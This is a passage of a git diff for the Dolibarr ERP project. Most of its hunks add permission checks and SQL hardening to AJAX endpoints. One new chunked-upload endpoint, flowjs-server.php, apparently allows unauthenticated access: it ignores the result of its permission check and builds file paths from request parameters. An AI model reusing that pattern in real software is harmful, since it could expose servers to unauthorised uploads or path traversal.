b/htdocs/core/ajax/ajaxtooltip.php @@ -0,0 +1,92 @@ + + * Copyright (C) 2018-2023 Frédéric France + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file htdocs/core/ajax/ajaxtooltip.php + * \ingroup tooltip + * \brief This script returns content of tooltip + */ + +if (!defined('NOTOKENRENEWAL')) { + define('NOTOKENRENEWAL', 1); // Disables token renewal +} +if (!defined('NOREQUIREMENU')) { + define('NOREQUIREMENU', '1'); +} +if (!defined('NOREQUIREHTML')) { + define('NOREQUIREHTML', '1'); +} +if (!defined('NOREQUIREAJAX')) { + define('NOREQUIREAJAX', '1'); +} +include '../../main.inc.php'; +include_once DOL_DOCUMENT_ROOT.'/core/class/html.form.class.php'; + + + +$id = GETPOST('id', 'aZ09'); +$objecttype = GETPOST('objecttype', 'aZ09arobase'); // 'module' or 'myobject@mymodule', 'mymodule_myobject' + +$params = array(); +if (GETPOSTISSET('infologin')) { + $params['infologin'] = GETPOST('infologin', 'int'); +} +if (GETPOSTISSET('option')) { + $params['option'] = GETPOST('option', 'restricthtml'); +} + +// Load object according to $element +$object = fetchObjectByElement($id, $objecttype); +if (empty($object->element)) { + httponly_accessforbidden('Failed to get object with fetchObjectByElement(id='.$id.', objectype='.$objecttype.')'); +} + +$module = $object->module; +$element = $object->element; + +$usesublevelpermission = ($module != $element ? $element : ''); +if ($usesublevelpermission && !isset($user->rights->$module->$element)) { // There is no permission on object defined, we will check permission on module directly + $usesublevelpermission = ''; +} + +//print $object->id.' - '.$object->module.' - '.$object->element.' - '.$object->table_element.' - '.$usesublevelpermission."\n"; + +// Security check +restrictedArea($user, $object->module, $object, $object->table_element, $usesublevelpermission); + + +/* + * View + */ + +top_httphead(); + +$html = ''; + +if (is_object($object)) { + if ($object->id > 0 || !empty($object->ref)) { + $html = $object->getTooltipContent($params); + } elseif ($res == 0) { + $html = $langs->trans('Deleted'); + } + unset($object); +} + +print $html; + +$db->close(); diff --git a/htdocs/core/ajax/bankconciliate.php b/htdocs/core/ajax/bankconciliate.php index 5407c30545d..c340dd47a06 100644 --- a/htdocs/core/ajax/bankconciliate.php +++ b/htdocs/core/ajax/bankconciliate.php @@ -44,6 +44,9 @@ require_once DOL_DOCUMENT_ROOT.'/compta/bank/class/account.class.php'; $action = GETPOST('action', 'aZ09'); +// Security check +// Checks are done later + /* * View diff --git a/htdocs/core/ajax/box.php b/htdocs/core/ajax/box.php index a6a93c69f68..621d6878098 100644 --- a/htdocs/core/ajax/box.php +++ b/htdocs/core/ajax/box.php @@ -18,7 +18,7 @@ /** * \file htdocs/core/ajax/box.php - * \brief File to return Ajax response on Box move or close + * \brief File to return Ajax response on a Box move or close */ if (!defined('NOTOKENRENEWAL')) { @@ -46,16 +46,16 @@ $boxorder = GETPOST('boxorder'); $zone = GETPOST('zone', 'int'); $userid = GETPOST('userid', 'int'); +// Security check +if ($userid != $user->id) { + httponly_accessforbidden('Bad userid parameter. Must match logged user.'); +} + /* * View */ -// Ajout directives pour resoudre bug IE -//header('Cache-Control: Public, must-revalidate'); -//header('Pragma: public'); - -//top_htmlhead("", "", 1); // Replaced with top_httphead. An ajax page does not need html header. top_httphead(); print ''."\n"; diff --git a/htdocs/core/ajax/check_notifications.php b/htdocs/core/ajax/check_notifications.php index f48cb9bffe5..18c1a1ece79 100644 --- a/htdocs/core/ajax/check_notifications.php +++ b/htdocs/core/ajax/check_notifications.php @@ -44,6 +44,9 @@ $time = dol_now(); $action = GETPOST('action', 'aZ09'); $listofreminderids = GETPOST('listofreminderids', 'aZ09'); +// Security check +// No permission check at top, but action later are all done with a test on $user->id. + /* * Actions @@ -68,6 +71,7 @@ if ($action == 'stopreminder') { // Clean database $sql = 'DELETE FROM '.MAIN_DB_PREFIX.'actioncomm_reminder'; $sql .= " WHERE dateremind < '".$db->idate(dol_time_plus_duree(dol_now(), -1, 'm'))."'"; + $sql .= " AND fk_user = ".((int) $user->id).' AND entity = '.((int) $conf->entity); $resql = $db->query($sql); if (!$resql) { dol_print_error($db); @@ -124,18 +128,10 @@ if (empty($_SESSION['auto_check_events_not_before']) || $time >= $_SESSION['auto $sql = 'SELECT a.id as id_agenda, a.code, a.datep, a.label, a.location, ar.rowid as id_reminder, ar.dateremind, ar.fk_user as id_user_reminder'; $sql .= ' FROM '.MAIN_DB_PREFIX.'actioncomm as a'; - if (!empty($user->conf->MAIN_USER_WANT_ALL_EVENTS_NOTIFICATIONS)) { - $sql .= ' LEFT JOIN '.MAIN_DB_PREFIX.'actioncomm_reminder as ar ON a.id = ar.fk_actioncomm AND ar.fk_user = '.((int) $user->id); - $sql .= ' WHERE a.code <> "AC_OTH_AUTO"'; - $sql .= ' AND ('; - $sql .= " (ar.typeremind = 'browser' AND ar.dateremind < '".$db->idate(dol_now())."' AND ar.status = 0 AND ar.entity = ".$conf->entity; - $sql .= ' )'; - } else { - $sql .= ' JOIN '.MAIN_DB_PREFIX.'actioncomm_reminder as ar ON a.id = ar.fk_actioncomm AND ar.fk_user = '.((int) $user->id); - $sql .= " AND ar.typeremind = 'browser' AND ar.dateremind < '".$db->idate(dol_now())."' AND ar.status = 0 AND ar.entity = ".$conf->entity; - } + $sql .= ' INNER JOIN '.MAIN_DB_PREFIX.'actioncomm_reminder as ar ON a.id = ar.fk_actioncomm AND ar.fk_user = '.((int) $user->id); + $sql .= " AND ar.typeremind = 'browser' AND ar.dateremind < '".$db->idate(dol_now())."' AND ar.status = 0 AND ar.entity = ".((int) $conf->entity); // No sharing of entity for alerts $sql .= $db->order('datep', 'ASC'); - $sql .= ' LIMIT 10'; // Avoid too many notification at once + $sql .= $db->plimit(10); // Avoid too many notification at once $resql = $db->query($sql); if ($resql) { diff --git a/htdocs/core/ajax/constantonoff.php b/htdocs/core/ajax/constantonoff.php index 3a8ffda3ae6..603de7408c0 100644 --- a/htdocs/core/ajax/constantonoff.php +++ b/htdocs/core/ajax/constantonoff.php @@ -52,28 +52,26 @@ $name = GETPOST('name', 'alpha'); $entity = GETPOST('entity', 'int'); $value = (GETPOST('value', 'aZ09') != '' ? GETPOST('value', 'aZ09') : 1); +// Security check +if (empty($user->admin)) { + httponly_accessforbidden('This ajax component can be called by admin user only'); +} + /* * View */ -// Ajout directives pour resoudre bug IE -//header('Cache-Control: Public, must-revalidate'); -//header('Pragma: public'); - -//top_htmlhead("", "", 1); // Replaced with top_httphead. An ajax page does not need html header. top_httphead(); //print ''."\n"; // Registering the new value of constant if (!empty($action) && !empty($name)) { - if ($user->admin) { - if ($action == 'set') { - dolibarr_set_const($db, $name, $value, 'chaine', 0, '', $entity); - } elseif ($action == 'del') { - dolibarr_del_const($db, $name, $entity); - } + if ($action == 'set') { + dolibarr_set_const($db, $name, $value, 'chaine', 0, '', $entity); + } elseif ($action == 'del') { + dolibarr_del_const($db, $name, $entity); } } else { http_response_code(403); diff --git a/htdocs/core/ajax/extraparams.php b/htdocs/core/ajax/extraparams.php index ccd8d1bc2ce..80f280e7a06 100644 --- a/htdocs/core/ajax/extraparams.php +++ b/htdocs/core/ajax/extraparams.php @@ -17,7 +17,8 @@ /** * \file /htdocs/core/ajax/extraparams.php - * \brief File to make Ajax action on setting extra parameters of elements + * \brief File to make Ajax action on setting extra parameters of elements. + * Called bu bloc_showhide.tpl.php, itself called when MAIN_DISABLE_CONTACTS_TAB or MAIN_DISABLE_NOTES_TAB are set */ if (!defined('NOTOKENRENEWAL')) { @@ -39,10 +40,29 @@ if (!defined('NOREQUIRESOC')) { include '../../main.inc.php'; $id = GETPOST('id', 'int'); -$element = GETPOST('element', 'alpha'); +$element = GETPOST('element', 'aZ09arobase'); $htmlelement = GETPOST('htmlelement', 'alpha'); $type = GETPOST('type', 'alpha'); +// Load object according to $id and $element +$object = fetchObjectByElement($id, $element); + +$module = $object->module; +$element = $object->element; +$usesublevelpermission = ($module != $element ? $element : ''); +if ($usesublevelpermission && !isset($user->rights->$module->$element)) { // There is no permission on object defined, we will check permission on module directly + $usesublevelpermission = ''; +} + +//print $object->id.' - '.$object->module.' - '.$object->element.' - '.$object->table_element.' - '.$usesublevelpermission."\n"; + +// Security check +$result = restrictedArea($user, $object->module, $object, $object->table_element, $usesublevelpermission, 'fk_soc', 'rowid', 0, 1); // Call with mode return +if (!$result) { + httponly_accessforbidden('Not allowed by restrictArea'); +} + + /* * View */ @@ -57,47 +77,10 @@ if (!empty($id) && !empty($element) && !empty($htmlelement) && !empty($type)) { dol_syslog("AjaxSetExtraParameters id=".$id." element=".$element." htmlelement=".$htmlelement." type=".$type." value=".$value, LOG_DEBUG); - $classpath = $subelement = $element; + if (is_object($object)) { + $params[$htmlelement] = array($type => $value); + $object->extraparams = array_merge($object->extraparams, $params); - // For compatibility - if ($element == 'order' || $element == 'commande') { - $classpath = $subelement = 'commande'; - } elseif ($element == 'propal') { - $classpath = 'comm/propal'; - $subelement = 'propal'; - } elseif ($element == 'facture') { - $classpath = 'compta/facture'; - $subelement = 'facture'; - } elseif ($element == 'contract') { - $classpath = $subelement = 'contrat'; - } elseif ($element == 'shipping') { - $classpath = $subelement = 'expedition'; - } elseif ($element == 'deplacement') { - $classpath = 'compta/deplacement'; - $subelement = 'deplacement'; - } elseif ($element == 'order_supplier') { - $classpath = 'fourn'; - $subelement = 'fournisseur.commande'; - } elseif ($element == 'invoice_supplier') { - $classpath = 'fourn'; - $subelement = 'fournisseur.facture'; + $result = $object->setExtraParameters(); } - - dol_include_once('/'.$classpath.'/class/'.$subelement.'.class.php'); - - if ($element == 'order_supplier') { - $classname = 'CommandeFournisseur'; - } elseif ($element == 'invoice_supplier') { - $classname = 'FactureFournisseur'; - } else { - $classname = ucfirst($subelement); - } - - $object = new $classname($db); - $object->fetch($id); - - $params[$htmlelement] = array($type => $value); - $object->extraparams = array_merge($object->extraparams, $params); - - $result = $object->setExtraParameters(); } diff --git a/htdocs/core/ajax/fetchKnowledgeRecord.php b/htdocs/core/ajax/fetchKnowledgeRecord.php index 1816217cdef..6e4f1ddd953 100644 --- a/htdocs/core/ajax/fetchKnowledgeRecord.php +++ b/htdocs/core/ajax/fetchKnowledgeRecord.php @@ -36,8 +36,10 @@ if (!defined('NOREQUIREMENU')) { define('NOREQUIREMENU', '1'); } // If there is no need to load and show top and left menu -if (!defined("NOLOGIN")) { - define("NOLOGIN", '1'); +if (!empty($_GET['public'])) { // GETPOST() is not yet defined so we use $_GET + if (!defined("NOLOGIN")) { + define("NOLOGIN", '1'); + } } if (!defined('NOIPCHECK')) { define('NOIPCHECK', '1'); // Do not check IP defined into conf $dolibarr_main_restrict_ip @@ -52,6 +54,12 @@ $idticketgroup = GETPOST('idticketgroup', 'aZ09'); $idticketgroup = GETPOST('idticketgroup', 'aZ09'); $lang = GETPOST('lang', 'aZ09'); +// Security check +if (!defined("NOLOGIN")) { // No need of restrictedArea if not logged: Later the select will filter on public articles only if not logged. + restrictedArea($user, 'knowledgemanagement', 0, 'knowledgemanagement_knowledgerecord', 'knowledgerecord'); +} + + /* * Actions */ @@ -71,8 +79,13 @@ if ($action == "getKnowledgeRecord") { $sql .= " FROM ".MAIN_DB_PREFIX."knowledgemanagement_knowledgerecord as kr "; $sql .= " JOIN ".MAIN_DB_PREFIX."c_ticket_category as ctc ON ctc.rowid = kr.fk_c_ticket_category"; $sql .= " WHERE ctc.code = '".$db->escape($idticketgroup)."'"; - $sql .= " AND ctc.active = 1 AND ctc.public = 1 AND (kr.lang = '".$db->escape($lang)."' OR kr.lang = 0 OR kr.lang IS NULL)"; + $sql .= " AND ctc.active = 1"; + if (defined("NOLOGIN")) { + $sql .= " AND ctc.public = 1"; + } + $sql .= " AND (kr.lang = '".$db->escape($lang)."' OR kr.lang = 0 OR kr.lang IS NULL)"; $sql .= " AND kr.status = 1 AND (kr.answer IS NOT NULL AND kr.answer <> '')"; + $resql = $db->query($sql); if ($resql) { $num = $db->num_rows($resql); diff --git a/htdocs/core/ajax/fileupload.php b/htdocs/core/ajax/fileupload.php index 67f95700976..963fa60b05b 100644 --- a/htdocs/core/ajax/fileupload.php +++ b/htdocs/core/ajax/fileupload.php @@ -21,20 +21,23 @@ * \brief File to return Ajax response on file upload */ -if (!defined('NOTOKENRENEWAL')) { - define('NOTOKENRENEWAL', '1'); -} if (!defined('NOREQUIREMENU')) { define('NOREQUIREMENU', '1'); // If there is no menu to show } if (!defined('NOREQUIREHTML')) { define('NOREQUIREHTML', '1'); // If we don't need to load the html.form.class.php } - +if (!defined('NOREQUIREAJAX')) { + define('NOREQUIREAJAX', '1'); +} +if (!defined('NOREQUIRESOC')) { + define('NOREQUIRESOC', '1'); +} // Load Dolibarr environment require '../../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/fileupload.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/genericobject.class.php'; error_reporting(E_ALL | E_STRICT); @@ -42,17 +45,42 @@ error_reporting(E_ALL | E_STRICT); //print_r($_GET); //print 'upload_dir='.GETPOST('upload_dir'); -$fk_element = GETPOST('fk_element', 'int'); -$element = GETPOST('element', 'alpha'); +$id = GETPOST('fk_element', 'int'); +$element = GETPOST('element', 'alpha'); // 'myobject' (myobject=mymodule) or 'myobject@mymodule' or 'myobject_mysubobject' (myobject=mymodule) +$elementupload = $element; +// Load object according to $id and $element +$object = fetchObjectByElement($id, $element); -$upload_handler = new FileUpload(null, $fk_element, $element); +$module = $object->module; +$element = $object->element; +$usesublevelpermission = ($module != $element ? $element : ''); +if ($usesublevelpermission && !isset($user->rights->$module->$element)) { // There is no permission on object defined, we will check permission on module directly + $usesublevelpermission = ''; +} + +//print $object->id.' - '.$object->module.' - '.$object->element.' - '.$object->table_element.' - '.$usesublevelpermission."\n"; + +// Security check +if (!empty($user->socid)) { + $socid = $user->socid; + if (!empty($object->socid) && $socid != $object->socid) { + httponly_accessforbidden("Access on object not allowed for this external user."); // This includes the exit. + } +} + +$result = restrictedArea($user, $object->module, $object, $object->table_element, $usesublevelpermission, 'fk_soc', 'rowid', 0, 1); // Call with mode return +if (!$result) { + httponly_accessforbidden('Not allowed by restrictArea'); +} /* * View */ +$upload_handler = new FileUpload(null, $id, $elementupload); + top_httphead(); header('Pragma: no-cache'); diff --git a/htdocs/core/ajax/flowjs-server.php b/htdocs/core/ajax/flowjs-server.php new file mode 100644 index 00000000000..901d119332f --- /dev/null +++ b/htdocs/core/ajax/flowjs-server.php @@ -0,0 +1,182 @@ + + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file htdocs/core/ajax/flowjs-server.php + * \brief File to upload very large file, higher than PHP limit. Using flowjs library. + */ + +if (!defined('NOTOKENRENEWAL')) { + define('NOTOKENRENEWAL', '1'); // Disables token renewal +} +if (!defined('NOREQUIREMENU')) { + define('NOREQUIREMENU', '1'); +} +if (!defined('NOREQUIREHTML')) { + define('NOREQUIREHTML', '1'); +} +if (!defined('NOREQUIREAJAX')) { + define('NOREQUIREAJAX', '1'); +} +if (!defined('NOREQUIRESOC')) { + define('NOREQUIRESOC', '1'); +} +// If there is no need to load and show top and left menu +if (!defined("NOLOGIN")) { + define("NOLOGIN", '1'); +} +//if (! defined('NOREQUIRETRAN')) define('NOREQUIRETRAN','1'); // Required to know date format for dol_print_date + +// Load Dolibarr environment +require '../../main.inc.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; + +$action = GETPOST('action', 'aZ09'); + +$module = GETPOST('module', 'aZ09arobase'); + +$flowFilename = GETPOST('flowFilename', 'alpha'); +$flowIdentifier = GETPOST('flowIdentifier', 'alpha'); +$flowChunkNumber = GETPOST('flowChunkNumber', 'alpha'); +$flowChunkSize = GETPOST('flowChunkSize', 'alpha'); +$flowTotalSize = GETPOST('flowTotalSize', 'alpha'); + +$result = restrictedArea($user, $module, 0, '', 0, 'fk_soc', 'rowid', 0, 1); // Call with mode return + +if ($action != 'upload') { + httponly_accessforbidden("Param action must be 'upload'"); +} + +if (!empty($conf->$module->dir_temp)) { + $upload_dir = $conf->$module->dir_temp; +} else { + httponly_accessforbidden("Param module does not has a dir_temp directory. Module does not exists or is not activated."); +} + +/* + * Action + */ + +top_httphead(); + +dol_syslog(join(',', $_GET)); + +$result = false; + +if (!empty($upload_dir)) { + $temp_dir = $upload_dir.'/'.$flowIdentifier; +} else { + $temp_dir = DOL_DATA_ROOT.'/'.$module.'/temp/'.$flowIdentifier; + $upload_dir = DOL_DATA_ROOT.'/'.$module.'/temp/'; +} + +if ($module != "test" && !isModEnabled($module)) { + echo json_encode("The module ".$module." is not enabled"); + header("HTTP/1.0 400"); + die(); +} + +if ($_SERVER['REQUEST_METHOD'] === 'GET') { + $chunk_file = $temp_dir.'/'.$flowFilename.'.part'.$flowChunkNumber; + if (file_exists($chunk_file)) { + header("HTTP/1.0 200 Ok"); + } else { + header("HTTP/1.0 404 Not Found"); + } +} else { + // loop through files and move the chunks to a temporarily created directory + if (file_exists($upload_dir.'/'.$flowFilename)) { + echo json_encode('File '.$flowIdentifier.' was already uploaded'); + header("HTTP/1.0 200 Ok"); + die(); + } elseif (!empty($_FILES)) foreach ($_FILES as $file) { + // check the error status + if ($file['error'] != 0) { + dol_syslog('error '.$file['error'].' in file '.$flowFilename); + continue; + } + + // init the destination file (format .part<#chunk> + // the file is stored in a temporary directory + $dest_file = $temp_dir.'/'.$flowFilename.'.part'.$flowChunkNumber; + + // create the temporary directory + if (!dol_is_dir($temp_dir)) { + dol_mkdir($temp_dir); + } + + // move the temporary file + if (!dol_move_uploaded_file($file['tmp_name'], $dest_file, 0)) { + dol_syslog('Error saving (move_uploaded_file) chunk '.$flowChunkNumber.' for file '.$flowFilename); + } else { + // check if all the parts present, and create the final destination file + $result = createFileFromChunks($temp_dir, $upload_dir, $flowFilename, $flowChunkSize, $flowTotalSize); + } + } +} +if ($result) { + echo json_encode('File '.$flowIdentifier.' uploaded'); +} else { + echo json_encode('Error while uploading file '.$flowIdentifier); +} + + +/** + * Check if all the parts exist, and gather all the parts of the file together. + * + * @param string $temp_dir the temporary directory holding all the parts of the file + * @param string $upload_dir the temporary directory to create file + * @param string $fileName the original file name + * @param string $chunkSize each chunk size (in bytes) + * @param string $totalSize original file size (in bytes) + * @return bool true if Ok false else + */ +function createFileFromChunks($temp_dir, $upload_dir, $fileName, $chunkSize, $totalSize) +{ + dol_syslog(__METHOD__, LOG_DEBUG); + + // count all the parts of this file + $total_files = 0; + $files = dol_dir_list($temp_dir, 'files'); + foreach ($files as $file) { + if (stripos($file["name"], $fileName) !== false) { + $total_files++; + } + } + + // check that all the parts are present + // the size of the last part is between chunkSize and 2*$chunkSize + if ($total_files * $chunkSize >= ($totalSize - $chunkSize + 1)) { + // create the final destination file + if (($fp = fopen($upload_dir.'/'.$fileName, 'w')) !== false) { + for ($i=1; $i<=$total_files; $i++) { + fwrite($fp, file_get_contents($temp_dir.'/'.$fileName.'.part'.$i)); + dol_syslog('writing chunk '.$i); + } + fclose($fp); + } else { + dol_syslog('cannot create the destination file'); + return false; + } + + // rename the temporary directory (to avoid access from other + // concurrent chunks uploads) + @rename($temp_dir, $temp_dir.'_UNUSED'); + } + + return true; +} diff --git a/htdocs/core/ajax/getaccountcurrency.php b/htdocs/core/ajax/getaccountcurrency.php index ff27812aaa2..20061dcdf2b 100644 --- a/htdocs/core/ajax/getaccountcurrency.php +++ b/htdocs/core/ajax/getaccountcurrency.php @@ -35,6 +35,9 @@ require '../../main.inc.php'; $id = GETPOST('id', 'int'); +// Security check +$result = restrictedArea($user, 'banque', $id, 'bank_account&bank_account'); + /* * View diff --git a/htdocs/core/ajax/loadinplace.php b/htdocs/core/ajax/loadinplace.php index 1cdecf6306d..415e51af8e5 100644 --- a/htdocs/core/ajax/loadinplace.php +++ b/htdocs/core/ajax/loadinplace.php @@ -17,7 +17,7 @@ /** * \file htdocs/core/ajax/loadinplace.php - * \brief File to load field value + * \brief File to load field value. used only when option "Edit In Place" is set (MAIN_USE_JQUERY_JEDITABLE). */ if (!defined('NOTOKENRENEWAL')) { @@ -41,6 +41,30 @@ $field = GETPOST('field', 'alpha'); $element = GETPOST('element', 'alpha'); $table_element = GETPOST('table_element', 'alpha'); $fk_element = GETPOST('fk_element', 'alpha'); +$id = $fk_element; + +// Load object according to $id and $element +$object = fetchObjectByElement($id, $element); + +$module = $object->module; +$element = $object->element; +$usesublevelpermission = ($module != $element ? $element : ''); +if ($usesublevelpermission && !isset($user->rights->$module->$element)) { // There is no permission on object defined, we will check permission on module directly + $usesublevelpermission = ''; +} + +//print $object->id.' - '.$object->module.' - '.$object->element.' - '.$object->table_element.' - '.$usesublevelpermission."\n"; + +// Security check +$result = restrictedArea($user, $object->module, $object, $object->table_element, $usesublevelpermission, 'fk_soc', 'rowid', 0, 1); // Call with mode return +if (!$result) { + httponly_accessforbidden('Not allowed by restrictArea'); +} + +if (!getDolGlobalString('MAIN_USE_JQUERY_JEDITABLE')) { + httponly_accessforbidden('Can be used only when option MAIN_USE_JQUERY_JEDITABLE is set'); +} + /* * View @@ -80,7 +104,7 @@ if (!empty($field) && !empty($element) && !empty($table_element) && !empty($fk_e if ($user->rights->$element->lire || $user->rights->$element->read || (isset($subelement) && ($user->rights->$element->$subelement->lire || $user->rights->$element->$subelement->read)) - || ($element == 'payment' && $user->rights->facture->lire) + || ($element == 'payment' && $user->hasRight('facture', 'lire')) || ($element == 'payment_supplier' && $user->rights->fournisseur->facture->lire)) { if ($type == 'select') { $methodname = 'load_cache_'.$loadmethod; @@ -94,6 +118,7 @@ if (!empty($field) && !empty($element) && !empty($table_element) && !empty($fk_e } } elseif (!empty($ext_element)) { $module = $subelement = $ext_element; + $regs = array(); if (preg_match('/^([^_]+)_([^_]+)/i', $ext_element, $regs)) { $module = $regs[1]; $subelement = $regs[2]; diff --git a/htdocs/core/ajax/locationincoterms.php b/htdocs/core/ajax/locationincoterms.php index 057322ec5fb..f3e621abc85 100644 --- a/htdocs/core/ajax/locationincoterms.php +++ b/htdocs/core/ajax/locationincoterms.php @@ -43,6 +43,12 @@ if (!defined('NOREQUIRESOC')) { require '../../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/html.form.class.php'; +// Security check +if (!isModEnabled('incoterm')) { + httponly_accessforbidden("Module incoterm not enabled"); // This includes the exit. +} +// There is no other permission on this component. Everybody connected can read content of the incoterm table + /* * View @@ -70,13 +76,12 @@ if (GETPOST('location_incoterms')) { if (!empty($conf->global->MAIN_USE_LOCATION_INCOTERMS_DICTIONNARY)) { // Use location_incoterms $sql = "SELECT z.location as location_incoterms, z.label as label"; $sql .= " FROM ".MAIN_DB_PREFIX."c_location_incoterms as z"; - $sql .= " WHERE z.active = 1 AND UPPER(z.location) LIKE UPPER('%".$db->escape($location_incoterms)."%')"; + $sql .= " WHERE z.active = 1 AND z.location LIKE '%".$db->escape($db->escapeforlike($location_incoterms))."%'"; $sql .= " ORDER BY z.location"; $sql .= $db->plimit(100); // Avoid pb with bad criteria - } else // Use table of commande - { + } else { // Use table of sale orders $sql = "SELECT DISTINCT s.location_incoterms FROM ".MAIN_DB_PREFIX.'commande as s'; - $sql .= " WHERE UPPER(s.location_incoterms) LIKE UPPER('%".$db->escape($location_incoterms)."%')"; + $sql .= " WHERE s.location_incoterms LIKE '%".$db->escape($db->escapeforlike($location_incoterms))."%'"; //Todo: merge with data from table of supplier order /* $sql .=" UNION"; diff --git a/htdocs/core/ajax/objectonoff.php b/htdocs/core/ajax/objectonoff.php index 77cd3234cd8..ed670627a90 100644 --- a/htdocs/core/ajax/objectonoff.php +++ b/htdocs/core/ajax/objectonoff.php @@ -18,7 +18,7 @@ /** * \file htdocs/core/ajax/objectonoff.php * \brief File to set status for an object - * This Ajax service is called when option MAIN_DIRECT_STATUS_UPDATE is set. + * This Ajax service is oftenly called when option MAIN_DIRECT_STATUS_UPDATE is set. */ if (!defined('NOTOKENRENEWAL')) { @@ -45,37 +45,46 @@ require '../../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/genericobject.class.php'; $action = GETPOST('action', 'aZ09'); + $id = GETPOST('id', 'int'); -$value = GETPOST('value', 'int'); +$element = GETPOST('element', 'alpha'); // 'myobject' (myobject=mymodule) or 'myobject@mymodule' or 'myobject_mysubobject' (myobject=mymodule) $field = GETPOST('field', 'alpha'); -$element = GETPOST('element', 'alpha'); +$value = GETPOST('value', 'int'); $format = 'int'; -$object = new GenericObject($db); - -$tablename = $element; -if ($tablename == 'websitepage') { - $tablename = 'website_page'; +// Load object according to $id and $element +$object = fetchObjectByElement($id, $element); +if (!is_object($object)) { + httponly_accessforbidden("Bad value for combination of parameters element/field: Object not found."); // This includes the exit. } -$object->table_element = $tablename; -$object->id = $id; $object->fields[$field] = array('type' => $format, 'enabled' => 1); +$module = $object->module; +$element = $object->element; +$usesublevelpermission = ($module != $element ? $element : ''); +if ($usesublevelpermission && !isset($user->rights->$module->$element)) { // There is no permission on object defined, we will check permission on module directly + $usesublevelpermission = ''; +} + +//print $object->id.' - '.$object->module.' - '.$object->element.' - '.$object->table_element.' - '.$usesublevelpermission."\n"; + // Security check if (!empty($user->socid)) { $socid = $user->socid; + if (!empty($object->socid) && $socid != $object->socid) { + httponly_accessforbidden("Access on object not allowed for this external user."); // This includes the exit. + } } -//$user->hasRight('societe', 'lire') = 0;$user->rights->fournisseur->lire = 0; -//restrictedArea($user, 'societe', $id); - -if (in_array($field, array('status'))) { - restrictedArea($user, $element, $id); +// We check permission. +// Check is done on $user->rights->element->create or $user->rights->element->subelement->create (because $action = 'set') +if (preg_match('/status$/', $field)) { + restrictedArea($user, $object->module, $object, $object->table_element, $usesublevelpermission); } elseif ($element == 'product' && in_array($field, array('tosell', 'tobuy', 'tobatch'))) { // Special case for products - restrictedArea($user, 'produit|service', $id, 'product&product', '', '', 'rowid'); + restrictedArea($user, 'produit|service', $object, 'product&product', '', '', 'rowid'); } else { - httponly_accessforbidden("Bad value for combination of parameters element/field."); + httponly_accessforbidden("Bad value for combination of parameters element/field: Field not supported."); // This includes the exit. } @@ -89,7 +98,7 @@ print ''."\n"; diff --git a/htdocs/core/ajax/price.php b/htdocs/core/ajax/price.php index 283afb77653..e2a8829fc14 100644 --- a/htdocs/core/ajax/price.php +++ b/htdocs/core/ajax/price.php @@ -40,6 +40,10 @@ $output = GETPOST('output', 'alpha'); $amount = price2num(GETPOST('amount', 'alpha')); $tva_tx = str_replace('*', '', GETPOST('tva_tx', 'alpha')); +// Security check +// None. This is a formatting only component. + + /* * View */ diff --git a/htdocs/core/ajax/row.php b/htdocs/core/ajax/row.php index 0254a7502f8..a20034ba0fe 100644 --- a/htdocs/core/ajax/row.php +++ b/htdocs/core/ajax/row.php @@ -49,7 +49,9 @@ if (!defined('NOREQUIRETRAN')) { // Load Dolibarr environment require '../../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/genericobject.class.php'; + $hookmanager->initHooks(array('rowinterface')); + // Security check // This is done later into view. @@ -74,13 +76,13 @@ if (GETPOST('roworder', 'alpha', 3) && GETPOST('table_element_line', 'aZ09', 3) // Make test on permission $perm = 0; - if ($table_element_line == 'propaldet' && $user->rights->propal->creer) { + if ($table_element_line == 'propaldet' && $user->hasRight('propal', 'creer')) { $perm = 1; - } elseif ($table_element_line == 'commandedet' && $user->rights->commande->creer) { + } elseif ($table_element_line == 'commandedet' && $user->hasRight('commande', 'creer')) { $perm = 1; - } elseif ($table_element_line == 'facturedet' && $user->rights->facture->creer) { + } elseif ($table_element_line == 'facturedet' && $user->hasRight('facture', 'creer')) { $perm = 1; - } elseif ($table_element_line == 'facturedet_rec' && $user->rights->facture->creer) { + } elseif ($table_element_line == 'facturedet_rec' && $user->hasRight('facture', 'creer')) { $perm = 1; } elseif ($table_element_line == 'emailcollector_emailcollectoraction' && $user->admin) { $perm = 1; diff --git a/htdocs/core/ajax/saveinplace.php b/htdocs/core/ajax/saveinplace.php index 32fdae72835..9cbecc8e9c7 100644 --- a/htdocs/core/ajax/saveinplace.php +++ b/htdocs/core/ajax/saveinplace.php @@ -17,7 +17,7 @@ /** * \file htdocs/core/ajax/saveinplace.php - * \brief File to save field value + * \brief File to load field value. used only when option "Edit In Place" is set (MAIN_USE_JQUERY_JEDITABLE). */ if (!defined('NOTOKENRENEWAL')) { @@ -41,6 +41,7 @@ $field = GETPOST('field', 'alpha', 2); $element = GETPOST('element', 'alpha', 2); $table_element = GETPOST('table_element', 'alpha', 2); $fk_element = GETPOST('fk_element', 'alpha', 2); +$id = $fk_element; /* Example: field:editval_ref_customer (8 first chars will removed to know name of property) @@ -54,6 +55,28 @@ savemethod: savemethodname: */ +// Load object according to $id and $element +$object = fetchObjectByElement($id, $element); + +$module = $object->module; +$element = $object->element; +$usesublevelpermission = ($module != $element ? $element : ''); +if ($usesublevelpermission && !isset($user->rights->$module->$element)) { // There is no permission on object defined, we will check permission on module directly + $usesublevelpermission = ''; +} + +//print $object->id.' - '.$object->module.' - '.$object->element.' - '.$object->table_element.' - '.$usesublevelpermission."\n"; + +// Security check +$result = restrictedArea($user, $object->module, $object, $object->table_element, 